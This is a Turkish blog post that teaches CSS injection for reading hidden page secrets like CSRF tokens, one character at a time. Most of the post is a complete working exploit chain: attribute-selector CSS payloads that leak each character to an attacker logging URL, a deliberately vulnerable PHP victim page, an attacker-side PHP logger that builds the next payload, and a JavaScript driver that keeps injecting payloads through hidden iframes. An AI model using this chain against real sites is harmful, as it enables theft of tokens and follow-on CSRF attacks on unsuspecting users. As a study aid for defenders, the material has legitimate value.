Ana içeriğe atla

CSS Injection ?



Herkese merhabalar. Bu yazımda size CSS Injection olayını anlatacam. Şimdi en son query incetion olayından sonra nerde tuhaf injection olayı var sen yazıyorsun diyebilirsiniz. Ne yapayım alışılmışın dışına çıkmak lazım diye düşündüm..:) Neyse bu espirili girişten sonra anlatmaya başlayalım.

CSS Injection genelde modern tarayıcılar da Javascript'in CSS üzerinden yürütülmesine izin vermediği için CSS Injection olayını çok tehlikeli görülmez. Ama ben bu makale de bu güvenlik açığının hedef tarayıcı tarafından habersiz, ama bu açığa karşı savunmasız başka bir site de tarayıcıdaki gizli verileri okumak için nasıl kullanacağını anlatacam. Başarılı bir CSS Injection olayında CSRF tokenlerini okuyup karşı tarafa CSRF saldırıları gerçekleştirebilirsiniz. CSRF ile ilgili bilgi almak için bir önceki yazımı okuyabilirsiniz. :)

1.CSS Injection'da Arka Planda Çalışma Mantığı (CSS Injection Background İnformation)

CSS Enjeksiyonları, bir saldırgan savunmasız bir web sitesinin CSS içeriğine kendi CSS kodunu yerleştirdiğinde gerçekleşir. İşlevsel olarak Cross Site Scripting ile aynıdır; fark, enjekte edilen kodun Javascript değil CSS olmasıdır.
Geçmişte, CSS Enjeksiyonu yoluyla, örneğin javascript protokolüyle url () kullanarak ya da XBL veya HTC kullanarak, ifade () yoluyla, XSS'yi kazanmanın çeşitli yolları olmuştur. Bunların hiçbiri modern tarayıcılarla çalışmaz.
Verileri CSS yoluyla, örneğin regex () kullanarak veya fontları kullanarak okumak için çeşitli yaklaşımlar da vardır Bunlar, tarayıcılarda veya çoğu modern tarayıcıda çalışmaz.
Bu, bir saldırganın url () ile arka plan resmi ayarlayarak bir web sitesini tahrif etmesine veya önceki seçiciden içeriğe enjekte ederek bir kimlik avı saldırısı yapmasına neden olur.

2. CSS Injection ile Veri Okuma (Temel saldırı düşüncemiz)

Bir HTML belgesindeki verileri , bir defada bir karakterin değerini bruteforce yapılarak, CSS özellik seçicileri aracılığıyla okumak mümkündür .
CSS özellik seçicileri normal ifadelerin tam gücünü sunmamakla birlikte, bir öğenin başlangıç ​​dizesini temel alarak seçim yapmak mümkündür. Öğeye bağlı olarak, harici bir URL çağrılabilir, böylece giriş alanının ilk karakteri saldırgana iletilir:
<style> #form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); } #form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); } #form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); } [...] </style> <form action="http://example.com" id="form2"> <input type="text" id="secret" name="secret" value="abc"> </form>
Bu örnekte amaç, CSS seçicileri tarafından elde edilen "abc" gizli değerinin ilk karakterini okumaktır. Başlangıç ​​karakterine bağlı olarak, yalnızca bir seçici eşleşir, bu durumda yanıt veren karaktere sahip bir URL arar ve sonuçta bulduğunu kaydeder.

3. Reflected CSS Injection Exploitleme (Yansıyan CSS Injection ile Sistemi Exploitleme)


Gizli verilerin bir karakterini CSS ile okuyabildiğimizi gördük, ancak ideal olarak, sadece ilk karakteri değil, tüm satırı okumak isteriz. Bunu, CSS yükünü otomatik olarak güncelleyerek arşivleyerek kullanabiliriz, böylece tüm gizli değer karakterileri karakter karakter ayırabiliriz.

Bu saldırının başarılı olması için, korunmasız web sitesinin bir iFrame içine eklenmesi ve mağdurun saldırgan tarafından kontrol edilen bir web sitesini ziyaret etmesi gerekir.

İşlem şöyle açıklanabilir:
currentCharacter = ''; // o an kaydedilen karakter currentString = ''; // Alınmış karakteri ilk sıra kaydet switch: case secret beginsWith currentString + 'a': currentCharacter = 'a' case secret beginsWith currentString + 'b': currentCharacter = 'b' [...] default: currentCharacter = '' currentString += currentCharacter while !empty(currentCharacter)
Saldırı, CSS enjeksiyonuna karşı savunmasız olan bir komut dosyasının yanı sıra sunucu ve istemci tarafı saldırı komut dosyalarını içerir:
  • Saldırganların sunucusunda:
    • /css-improved/attacker/log.php: Bruteforce ile gizli değeri kaydedecek ve mevcut değere göre güncellenmiş bir CSS yükü sağlayacak
    • /css-improved/attacker/write/log.txt: Bruteforce ile bulduğu gizli değeri içerecektir
    • /css-improved/attacker/reflected-attack.html: CSS yükünü log.php dosyasından okuyacak ve güvenlik açığı bulunan uygulamaya JavaScript yükü enjekte edecek 
  • Güvenlik açığı bulunan sunucuda:
    • /css-improved/victim/reflected.php: Enjekte edilmiş CSS kodunu gösteren ve CSS enjeksiyonu ile okunacak hassas bilgileri içeren komut dosyasınun olduğu kısımdır
CSS kodu http: //localhost/css-improved/victim/reflected.php dosyasına enjekte edilir:
// Bu açığa sahip script: <style><?php echo htmlspecialchars($_GET['x']);?></style> <br><br><br><br> <form action="http://example.com" id="form2"> <input type="text" id="secret" name="secret" value="0z4n"> </form>
Amaç, "0z4n" nın gizli değerini "form2" deki CSS ile okumaktır.

Saldırı:

Sunucu tarafı saldırı komut dosyası, bruteforce tekniği ile karakterlerin kaydını tutar ve geçerli payload'ı sağlar:
<?php if (!empty($_GET['payload'])) { echo urlencode(getCurrentPayload()); } else if (!empty($_GET['clear'])) { clearLog(); } else { $character = str_replace("/css-improved/attacker/log.php/", "", $_SERVER['PHP_SELF']); logCharacter($character); } function getCurrentPayload() { $previous = readLog(); $payload = "{} #form2 input[value^='" . $previous . "a']
{ background-image: url(http://localhost/css-improved/attacker/log.php/a); } #form2 input[value^='" . $previous . "b']
{ background-image: url(http://localhost/css-improved/attacker/log.php/b); } #form2 input[value^='" . $previous . "c']
{ background-image: url(http://localhost/css-improved/attacker/log.php/c); }"; return $payload; } function logCharacter($character) { file_put_contents('./write/log.txt', $character, FILE_APPEND | LOCK_EX); } function readLog() { return file_get_contents('./write/log.txt'); } function clearLog() { file_put_contents('./write/log.txt', '');
JavaScript saldırı komut dosyası, payload dosyasını günlük komut dosyasından alır ve uygulamaya ekler:

<script> window.onload = function() { var victim = "http://localhost/css-improved/victim/reflected.php?x="; var payload = get("http://localhost/css-improved/attacker/log.php?clear=true"); alert("Starting"); var currentPayload = get("http://localhost/css-improved/attacker/log.php?payload=true"); var previousPayload = ""; while (currentPayload != previousPayload) { createHiddenFrame(victim + currentPayload); previousPayload = currentPayload; alert("Current Payload: " + decodeURI(currentPayload)); currentPayload = get("http://localhost/css-improved/attacker/log.php?payload=true"); } } function createHiddenFrame(url) { var iframe = document.createElement("iframe"); iframe.src = url; iframe.style = "display: hidden"; iframe.height = "0"; iframe.width = "0"; iframe.frameborder = "0"; document.body.appendChild(iframe); } function get(url) { var request = new XMLHttpRequest(); request.open("GET", url, false); request.send(); return request.responseText; } </script>

Bir mağdur scripti ziyaret ettiğinde, mevcut CSS yükünü log.php scriptinden alır ve mağdurun korunmasız web sitesine yükünü enjekte etmesini sağlamak için gizli bir iFrame kullanır. CSS yükü enjekte edildiğinde, şu anda bruteforce kullanarak karakterleri ile birlikte log.php dosyasını tetikler. JavaScript payload'ı daha sonra yeni güncellenen CSS yükünü log.php'den alır ve bu CSS payloadını enjekte etmek için başka bir gizli iFrame kullanır. İşlem, gizli değerin tüm karakterleri alınana kadar tekrar edilir.
Saldırı aşamalarına aşağıda ki gif ile bakabilirsiniz:




Bu yazıyı da burada bitiriyorum. Bir başka yazıda görüşmek üzere...:) Yakında bu yazıyı bir video ile daha kalıtsal hala getiririm. Eksik kalan bir yer olduysa kusura bakmayın... Herkese iyi okumalar..:)

Yorumlar